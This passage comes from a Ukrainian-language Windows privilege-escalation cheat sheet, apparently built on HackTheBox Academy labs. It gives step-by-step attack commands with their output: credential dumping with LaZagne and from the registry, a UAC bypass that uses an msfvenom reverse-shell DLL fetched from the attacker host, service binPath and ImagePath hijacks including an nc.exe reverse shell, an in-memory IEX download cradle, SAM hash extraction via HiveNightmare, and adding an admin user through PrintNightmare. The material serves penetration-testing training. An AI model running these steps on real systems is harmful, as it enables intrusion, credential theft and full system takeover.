  chats      Run chats module
  mails      Run mails module
  all        Run all modules
  ...
```

▸ доступні модулі — `all` для всіх одразу

```ps
PS C:\htb> .\lazagne.exe all
```

⏳ **ЧЕКАТИ:** Усі модулі — може тривати 30-120 секунд.

```out
|=================================================================|
|                        The LaZagne Project                      |
|                          ! BANG BANG !                          |
|=================================================================|

########## User: htb-student ##########

------------------ Winscp passwords ----------------
[+] Password found !!!
HostName: 10.10.10.100
Username: root
Password: Summer2020!

------------------ Credman passwords ----------------
[+] Password found !!!
URL: Domain:target=INLANEFREIGHT.LOCAL
Login: jordan_adm
Password: !QAZzaq1

[+] 2 passwords have been found.
```

▸ блоки `Password found !!!` — WinSCP, Credman, WiFi, DPAPI...

2.9 Clear-text credentials у реєстрі

[E36] Windows Autologon → Розділ 9.7

```cmd
C:\htb> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon"
```

```out
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon      REG_SZ    1
    DefaultDomainName   REG_SZ    WINLPE-WS02
    DefaultUserName     REG_SZ    htb-student
    DefaultPassword     REG_SZ    HTB_@cademy_stdnt!
    Shell               REG_SZ    explorer.exe
    Userinit            REG_SZ    C:\Windows\system32\userinit.exe,
```

▸ `AutoAdminLogon=1` + **`DefaultPassword`** у plaintext

[E37] PuTTY proxy credentials → Розділ 9.7

```ps
PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

```out
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\Default%20Settings
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
```

▸ імена збережених PuTTY-сесій — для кожної наступна команда

```ps
PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
```

```out
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali ssh
    HostName            REG_SZ    10.10.14.3
    PortNumber          REG_DWORD 0x16
    ProxyHost           REG_SZ    proxy.inlanefreight.local
    ProxyMethod         REG_DWORD 0x3
    ProxyUsername       REG_SZ    administrator
    ProxyPassword       REG_SZ    1_4m_th3_@cademy_4dm1n!
    TerminalType        REG_SZ    xterm
    UserName            REG_SZ    root
```

▸ `ProxyUsername` + **`ProxyPassword`** = plaintext

✓ **TIP:** Якщо у нас локальний адмін — перевіряємо ВСІ юзерські хайви через `HKEY_USERS\<SID>\SOFTWARE\SimonTatham\PuTTY\Sessions`.

2.10 Wi-Fi passwords

[E38] Збережені Wi-Fi профілі → Розділ 9.8

cmd
```
C:\htb> netsh wlan show profile
```

out
```
Profiles on interface Wi-Fi:

Group policy profiles (read only)
---------------------------------
    <None>

User profiles
-------------
    All User Profile     : ilfreight_corp
    All User Profile     : EE_Guest
    All User Profile     : Starbucks
```

▸ список SSID, до яких підключалась система

cmd
```
C:\htb> netsh wlan show profile ilfreight_corp key=clear
```

out
```
Profile ilfreight_corp on interface Wi-Fi:

Connectivity settings
---------------------
    Number of SSIDs        : 1
    SSID name              : "ilfreight_corp"
    Network type           : Infrastructure

Security settings
-----------------
    Authentication         : WPA2-Personal
    Cipher                 : CCMP
    Security key           : Present
    Key Content            : ILFREIGHTWIFI-CORP123908!
```

▸ `Key Content` = PSK у plaintext (треба local admin)

2.11 DLL Hijacking — procmon recon

[E39] Моніторинг Missing DLLs через Procmon → Розділ 7

out
```
Time      Process      PID    Operation   Path
Result
17:55:39  main.exe     37940  CreateFile  C:\Users\PandaSt0rm\Desktop\Hijack\x.dll
NAME NOT FOUND
17:55:39  main.exe     37940  CreateFile  C:\Windows\System32\x.dll
NAME NOT FOUND
17:55:39  main.exe     37940  CreateFile  C:\Windows\x.dll
NAME NOT FOUND
```

2.12 AlwaysInstallElevated (дуже важливо)

[E40] Перевірка AlwaysInstallElevated → Розділ 10.5 (Citrix privesc)

cmd
```
C:\htb> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

out
```
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

▸ `0x1`

cmd
```
C:\htb> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

out
```
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

▸ `0x1` в **обох** = будь-який .msi = SYSTEM

2.13 Автоматизовані enumeration скрипти

Ручна перевірка — обов'язкова для розуміння. Але в реальному пентесті час обмежений, тому використовуємо комплексні сканери:

Інструмент	Призначення	Виклик
`SharpUp`	Services, ACLs, AlwaysInstallElevated, Autorun	`.\SharpUp.exe audit`
`winPEAS`	Усе: services, credentials, patches, interesting files	`.\winPEASx64.exe`
`PowerUp.ps1`	PowerShell port — services, AlwaysInstallElevated, hijackable paths	`Import-Module .\PowerUp.ps1; Invoke-AllChecks`
`Seatbelt`	Host situational awareness (GhostPack)	`.\Seatbelt.exe -group=all`
`LaZagne`	Credential harvesting з ~30 продуктів	`.\lazagne.exe all`
`SessionGopher`	Saved PuTTY/WinSCP/FileZilla sessions	`Invoke-SessionGopher`
`SharpChrome`	Chrome credentials + cookies	`.\SharpChrome.exe logins /unprotect`
`Snaffler`	Краулінг SMB-шар у AD на sensitive files	`Snaffler.exe -s -d INLANEFREIGHT -o snaffler.log`

⚠ **УВАГА:** Автоматичні скрипти — гучні. Перед запуском: (а) перевірити AV/EDR на хості; (б) узгодити з замовником; (в) за можливості — використовувати in-memory виконання (`IEX (New-Object Net.Webclient).downloadString(...)`).

ℹ Після прогону автоматики — все одно повернутися до ручного чекліста вище. Скрипти пропускають кастомні знахідки, які пентестер помітить очима.

3. User Account Control (UAC) Bypass

3.1 Як працює UAC

User Account Control (UAC) — механізм Windows, який вимагає явного підтвердження для дій, що потребують адміністративних привілеїв. Додатки отримують різні *integrity levels*, і програма з **high IL** може виконувати дії, що потенційно скомпрометують систему. Коли UAC увімкнений, додатки запускаються з токеном звичайного юзера — навіть якщо юзер у групі Administrators.

> ℹ UAC — це **convenience feature**, а не security boundary (цитата з документації Microsoft). Bypass UAC не експлуатує жодної "уразливості" у строгому розумінні — це використання особливостей архітектури. Проте для пентестера — це абсолютно валідний вектор.

Admin Approval Mode і RID 500

Вбудований Administrator з RID 500 *завжди* працює з high IL. Будь-який інший юзер у групі Administrators під Admin Approval Mode отримує **два токени**: непривілейований (medium IL) для звичайних дій і привілейований (high IL) для elevated.

Налаштування UAC через реєстр

Group Policy Setting	Registry Key	Default
Admin Approval Mode for built-in Administrator	`FilterAdministratorToken`	Disabled
Behavior of the elevation prompt for administrators	`ConsentPromptBehaviorAdmin`	Prompt for consent for non-Windows binaries
Behavior of the elevation prompt for standard users	`ConsentPromptBehaviorUser`	Prompt for credentials
Detect application installations and prompt for elevation	`EnableInstallerDetection`	Enabled (home) / Disabled (enterprise)
Only elevate executables that are signed and validated	`ValidateAdminCodeSignatures`	Disabled
Only elevate UIAccess applications installed in secure locations	`EnableSecureUIAPaths`	Enabled
Run all administrators in Admin Approval Mode	`EnableLUA`	Enabled
Switch to the secure desktop when prompting for elevation	`PromptOnSecureDesktop`	Enabled
Virtualize file and registry write failures to per-user locations	`EnableVirtualization`	Enabled

3.2 Bypass UAC через DLL Hijacking (UACME #54)

Техніка з проекту **UACME** (github.com/hfiref0x/UACME), working для Windows 10 build 14393+. Цільовий бінарник — 32-bit версія `SystemPropertiesAdvanced.exe`, яка автоелевейтиться і намагається завантажити неіснуючу DLL `srrstr.dll`.

DLL Search Order (важливо зрозуміти)

Коли процес шукає DLL, Windows перевіряє папки в такому порядку:

1. Директорія, з якої запущено додаток.
2. Системна директорія `C:\Windows\System32` (для 64-bit).
3. 16-bit system directory `C:\Windows\System`.
4. Директорія Windows.
5. Будь-які директорії з `%PATH%`.

Оскільки `C:\Users\<user>\AppData\Local\Microsoft\WindowsApps` типово у PATH і **писабельна** нашим юзером — ми можемо підкласти туди `srrstr.dll`, і auto-elevating `SystemPropertiesAdvanced.exe` (32-bit) завантажить її з high IL.

Попередні перевірки

Виконай команди **E01, E04, E05, E06, E07** з чекліста. Переконайся:

- Ти у групі Administrators (RID ≠ 500).
- `EnableLUA = 0x1`, `ConsentPromptBehaviorAdmin = 0x5`.
- Build Windows ≥ 14393.
- У PATH є `...\WindowsApps`.

Крок 1 — згенерувати шкідливу DLL

```sh
Cyberduckk@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
```

```out
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
```

▸ `Final size of dll file: 5120 bytes`

Крок 2 — підняти HTTP server

```sh
Cyberduckk@htb[/htb]$ sudo python3 -m http.server 8080
```

```out
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

▸ `Serving HTTP on 0.0.0.0 port 8080`

Крок 3 — доставити DLL на ціль

```ps
PS C:\htb> curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
```

```out
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  85333      0 --:--:-- --:--:-- --:--:-- 85333
```

▸ файл має опинитись саме у `WindowsApps`

Крок 4 — listener на атакуючій машині

```sh
Cyberduckk@htb[/htb]$ nc -lvnp 8443
```

```
listening on [any] 8443 ...
```

out

▸ `listening on [any] 8443 ...`

Крок 5 — тест (опціонально)

Можна попередньо перевірити, що DLL взагалі "стріляє", через `rundll32`:

```
C:\htb> rundll32 shell32.dll,Control_RunDLL
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
```

cmd

```
// У listener прилетить підключення:
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 50112
Microsoft Windows [Version 10.0.19041.1]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\sarah>
```

out

▸ shell як *звичайний* юзер (попередній тест DLL)

Крок 6 — cleanup попередніх rundll32

```
C:\htb> tasklist /svc | findstr "rundll32"
```

cmd

```
rundll32.exe                  7044 N/A
rundll32.exe                  6300 N/A
rundll32.exe                  5360 N/A
```

out

```
C:\htb> taskkill /PID 7044 /F
C:\htb> taskkill /PID 6300 /F
C:\htb> taskkill /PID 5360 /F
```

cmd

```
SUCCESS: The process with PID 7044 has been terminated.
SUCCESS: The process with PID 6300 has been terminated.
SUCCESS: The process with PID 5360 has been terminated.
```

out

▸ `SUCCESS: The process with PID ... has been terminated`

Крок 7 — тригер UAC bypass

```
C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
```

cmd

⏳ **ЧЕКАТИ:** Після запуску — майже миттєво прилетить з'єднання на listener.

```
// У listener:
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 50273
Microsoft Windows [Version 10.0.19041.1]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= ========
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Enabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    Enabled
SeCreateGlobalPrivilege                   Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled
```

▸ у listener — з'єднання; `whoami /priv` показує ~20 привілеїв (було 5) → **elevated**

✓ **TIP:** Техніка №54 — лише одна з багатьох. На UACME репозиторії є 70+ технік, кожна для своєї комбінації Windows build + UAC level. Якщо ця не спрацювала — дивитись інші (наприклад, FodHelper, ComputerDefaults, EventVwr.exe — всі auto-elevate binaries з hijackable реєстровим ключем).

4. Weak Permissions

> Права на Windows — складний механізм, де дрібна помилка у ACL відкриває шлях до SYSTEM. Сервіси зазвичай біжать як SYSTEM, тому **misconfiguration сервісу = повний компроміс**. Великі вендори рідко припускаються таких помилок, але сторонній софт (особливо VPN, антивіруси, принтер-драйвери) — постачальник вразливостей номер один.

4.1 Permissive File System ACLs

Знаходження модифіковуваного сервісного бінарника

```ps
PS C:\htb> .\SharpUp.exe audit
```

⏳ **ЧЕКАТИ:** Сканування триває 10-30 секунд.

```out
=== Modifiable Service Binaries ===

  Name             : SecurityService
  DisplayName      : Total AV Security Service
  Description      : Total AV protection service
  User             : LocalSystem
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
  State            : Stopped
```

▸ секція `Modifiable Service Binaries` — ім'я + PathName

Верифікація через icacls

```ps
PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

```out
C:\Program Files (x86)\PCProtect\SecurityService.exe
    BUILTIN\Users:(I)(F)
    Everyone:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files
```

▸ `BUILTIN\Users:(F)` = можна перезаписати

Експлуатація — заміна бінарника

> ⚠ **УВАГА:** Перед цим згенеруй свій payload (msfvenom reverse shell, add-admin-user binary, тощо) з тим самим ім'ям `SecurityService.exe` і закинь на ціль.

```cmd
C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files
(x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService
```

```out
        1 file(s) copied.

SERVICE_NAME: SecurityService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3276
```

▸ payload замінив оригінальний бінарник

4.2 Weak Service Permissions

Інший випадок — бінарник захищений, але сам *сервіс* дозволяє непривілейованим юзерам змінювати конфіг (`SERVICE_CHANGE_CONFIG`) і start/stop. Тоді змінюємо `binPath` на довільну команду.

Виявлення

```cmd
C:\htb> SharpUp.exe audit
```

```out
=== Modifiable Services ===

  Name             : WindscribeService
  DisplayName      : WindscribeService
  Description      : Manages the firewall and controls the VPN tunnel
  User             : LocalSystem
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"
  State            : Running
```

Верифікація через accesschk

```cmd
C:\htb> accesschk.exe /accepteula -quvcw WindscribeService
```

```
WindscribeService
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
```

out

▸ `Authenticated Users` з `SERVICE_ALL_ACCESS`

```
C:\htb> net localgroup administrators
```

cmd

```
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
mrb3n
The command completed successfully.
```

out

▸ наш юзер **НЕ** в Admins → privesc валідний

Експлуатація — зміна binpath

```
C:\htb> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
```

cmd

```
[SC] ChangeServiceConfig SUCCESS
```

out

▸ `[SC] ChangeServiceConfig SUCCESS`

```
C:\htb> sc stop WindscribeService
```

cmd

```
SERVICE_NAME: WindscribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
```

out

▸ `STOP_PENDING` → `STOPPED`

```
C:\htb> sc start WindscribeService
```

cmd

```
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
```

out

▸ `FAILED 1053` — **нормально**; наш cmd вже виконався до падіння

```
C:\htb> net localgroup administrators
```

cmd

```
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
htb-student
mrb3n
The command completed successfully.
```

out

Cleanup — відновити сервіс

```
C:\htb> sc config WindScribeService binpath="c:\Program Files
(x86)\Windscribe\WindscribeService.exe"
```

cmd

```
[SC] ChangeServiceConfig SUCCESS
```

out

▸ `SUCCESS` — сервіс відновлено

```
C:\htb> sc start WindScribeService
```

cmd

```
SERVICE_NAME: WindScribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4484
```

out

```
C:\htb> sc query WindScribeService
```

cmd

```
SERVICE_NAME: WindScribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

▸ `STATE: 4 Running` → сервіс знову працює

ℹ Один з реальних прикладів такої misconfiguration — **Windows Update Orchestrator Service (UsoSvc)** до встановлення патча для **CVE-2019-1322**. До патча слабкі ACL дозволяли service accounts підвищуватись до SYSTEM через зміну binPath.

4.3 Unquoted Service Path

Коли шлях до сервісного бінарника містить пробіли і **не взятий у лапки**, Windows намагається завантажити кілька варіантів. Для шляху `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe` Windows послідовно спробує:

1. `C:\Program.exe`
2. `C:\Program Files.exe` (сучасні Windows сюди не йдуть, бо папка існує)
3. `C:\Program Files (x86)\System.exe`
4. `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe` ← правильний

Перевірка шляху конкретного сервісу

```cmd
C:\htb> sc qc SystemExplorerHelpService
```

```out
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\System
Explorer\service\SystemExplorerService64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Explorer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

Пошук усіх unquoted paths у системі

```cmd
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
```

```out
System Explorer Service  SystemExplorerHelpService  C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe  Auto
Pulse Secure Service     PulseSecureService         C:\Program Files (x86)\Common Files\Pulse Secure\Integration\PulseAgentService.exe  Auto
```

Експлуатація (рідко практична)

⚠ **УВАГА:** Щоб закинути `C:\Program.exe` чи `C:\Program Files (x86)\System.exe` потрібен запис у root диска або Program Files — зазвичай для цього вже треба бути адміном. Валідно лише при нестандартних шляхах типу `D:\MyApps\Some App\svc.exe`, де корінь D: писабельний.

4.4 Permissive Registry ACLs

Навіть якщо файлова система сервісу захищена, його *реєстрові ключі* можуть мати слабкі ACL. Змінюємо `ImagePath` — отримуємо кастомну команду при старті.

Пошук

```cmd
C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
```

⏳ **ЧЕКАТИ:** Рекурсивне сканування всіх сервісних ключів — близько 20-60 секунд.

```out
RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS
RW HKLM\System\CurrentControlSet\services\ModelManagerService\Parameters
        KEY_ALL_ACCESS
RW HKLM\System\CurrentControlSet\services\ModelManagerService\Security
        KEY_ALL_ACCESS
RW HKLM\System\CurrentControlSet\services\ModelManagerService\Enum
        KEY_ALL_ACCESS
```

- `RW ... KEY_ALL_ACCESS` на ключі сервісу

Експлуатація — зміна ImagePath

```ps
PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
```

```
// Команда нічого не виводить при успіху — перевіряємо:
PS C:\htb> Get-ItemProperty -Path
HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath"

ImagePath    : C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443
PSPath       :
Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Mo
delManagerService
PSParentPath :
Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
PSChildName  : ModelManagerService
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry
```

▸ при рестарті сервісу — reverse shell як SYSTEM

4.5 Modifiable Registry Autorun Binary

```ps
PS C:\htb> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
```

```out
Name     : VMware User Process
command  : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
Location : HKU\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : NT AUTHORITY\LOCAL SERVICE

Name     : SecurityHealth
command  : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Name     : MyApp
command  : C:\CustomApps\myapp.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public
```

Умови експлуатації

Якщо (а) бінарник писабельний нашим юзером (перевір через `icacls`) **або** (б) ключ реєстру у `Location` писабельний — ми можемо або підмінити exe, або змінити значення `command`. Код виконається при наступному логоні цільового юзера.

> ✓ **TIP:** Для privesc з юзер-контексту на SYSTEM шукаємо саме HKLM записи з високопривілейованим User. HKCU записи корисні для lateral movement між юзерами одного хоста.

---

5. Kernel Exploits & Notable CVEs

> Своєчасне оновлення всіх Windows-хостів у великій організації — практично недосяжна ціль. Навіть з SCCM/WSUS частина машин випадає з процесу: старі сервери у "legacy" сегменті, медичне обладнання з застарілими ОС, workstations, що були offline під час push-а. Це створює поле для kernel exploits. Нижче — фокус на найбільш імпактних вразливостях останніх років.

5.1 Історична таблиця MS-бюлетенів

Від Windows 2000 до Server 2016 — десятки LPE/RCE. Нижче фрагмент еволюції (повна таблиця — у матеріалах HTB):

MS Bulletin / CVE	Тип	Target OS	Короткий опис
MS08-067	RCE / LPE	XP, 2003, 2008, Vista	Server service RPC. Класика. Досі зустрічається в медичному секторі.
MS14-068	LPE	2003-2012R2	Kerberos PAC validation. Domain-wide impact.
MS16-032	LPE	Vista-10 / 2008-2012R2	Secondary Logon. Популярний PS-експлоіт.
MS17-010 (EternalBlue)	RCE / LPE	Vista-10 / 2008-2016	SMBv1. Shadow Brokers leak. Можна юзати локально через port forward якщо 445 firewalled назовні.
CVE-2017-0213	LPE	7-10 / 2008R2-2016	COM Aggregate Marshaler. Хороший "останній шанс" коли все інше запатчено.
Hot Potato / RottenPotato / Juicy / Rogue	LPE	7-10 / 2008R2-2016	SeImpersonate → SYSTEM через NTLM relay.
CVE-2020-0668	LPE	Win10 до Feb 2020	Service Tracing arbitrary file move. Розглянемо нижче.
CVE-2021-36934 (HiveNightmare)	LPE	Win10 / Win11	BUILTIN\Users може читати SAM. Розглянемо нижче.
CVE-2021-1675 / 34527 (PrintNightmare)	RCE / LPE	Всі supported	Print Spooler RpcAddPrinterDriver. Розглянемо нижче.

> ℹ Ключова ідея: RCE-вразливості (EternalBlue, MS08-067) можна використовувати як LPE, якщо порт сервісу (наприклад, 445) закритий firewall-ом назовні, але слухає локально. Робимо port forward у бік атакуючої машини і стріляємо експлоіт.

5.2 HiveNightmare / SeriousSam (CVE-2021-36934)

На вразливих версіях Windows 10 група `BUILTIN\Users` має read-доступ до registry hives (SAM, SYSTEM, SECURITY) у `C:\Windows\System32\config`. Через Volume Shadow Copies будь-який юзер може витягти повні копії хайвів і витягти локальні NT хеші (включно з Administrator).

Перевірка вразливості

```cmd
C:\htb> icacls c:\Windows\System32\config\SAM
```

```out
c:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

▸ `BUILTIN\Users:(I)(RX)` → HiveNightmare

⚠ **УВАГА:** Для успіху потрібна хоча б одна Shadow Copy — на Windows 10 за замовчуванням System Protection створює періодичні бекапи, тому зазвичай є.

Експлуатація — дамп хайвів

```ps
PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe
```

```out
HiveNightmare v0.6 - dump registry hives as non-admin users
Running...
Newer file found: \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-
07
Newer file found: \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Success: SECURITY hive from 2021-08-07 written out to current working directory as
SECURITY-2021-08-07
Newer file found: \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
Success: SYSTEM hive from 2021-08-07 written out to current working directory as SYSTEM-
2021-08-07
```

▸ файли `SAM-YYYY-MM-DD`, `SECURITY-*`, `SYSTEM-*` у поточній папці

Витяг хешів offline

Забираємо файли на атакуючу машину (SMB/HTTP) і:

```sh
Cyberduckk@htb[/htb]$ impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -
security SECURITY-2021-08-07 local
```

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0xebb2121de07ed08fc7dc58aa773b23d6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0x45e8ce0d3fd8...
dpapi_userkey:0xca8c90aac5ca...
[*] NL$KM
0000   A5 8D BC 61 F2 AB 3C 5D  E5 A2 F0 96 F9 04 46 00
[*] Cleaning up...
```

out

▸ рядок `Administrator:500:...:<NT hash>:::` — pass-the-hash або hashcat -m 1000

5.3 PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Уразливість у функції `RpcAddPrinterDriver` Print Spooler сервісу. В нормі `SeLoadDriverPrivilege` дозволяє встановлювати принтер-драйвери — це право мають тільки Administrators та Print Operators. PrintNightmare дозволяє будь-якому authenticated юзеру встановити драйвер, ефективно виконавши DLL як SYSTEM.

Spooler типово увімкнений на Domain Controllers, Windows 7/10 і часто на Windows Server — гігантська attack surface, звідси назва "nightmare".

Перевірка наявності Spooler

```ps
PS C:\htb> ls \\localhost\pipe\spoolss
```

ps

```
    Directory: \\localhost\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/1/1601  12:00 AM              0   spoolss
```

out

▸ наявність `spoolss` → PrintNightmare exploitable

Експлуатація через PowerShell PoC (CVE-2021-1675.ps1)

```ps
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
```

ps

```
Execution Policy Change
Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
```

```ps
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName
"PrintIt"
```

```
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath =
"C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ce3301b66255a0fb\Amd64\mx
dwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
```

▸ `[+] added user hacker as local administrator`

Верифікація нового юзера

```ps
PS C:\htb> net user hacker
```

```
User name                    hacker
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

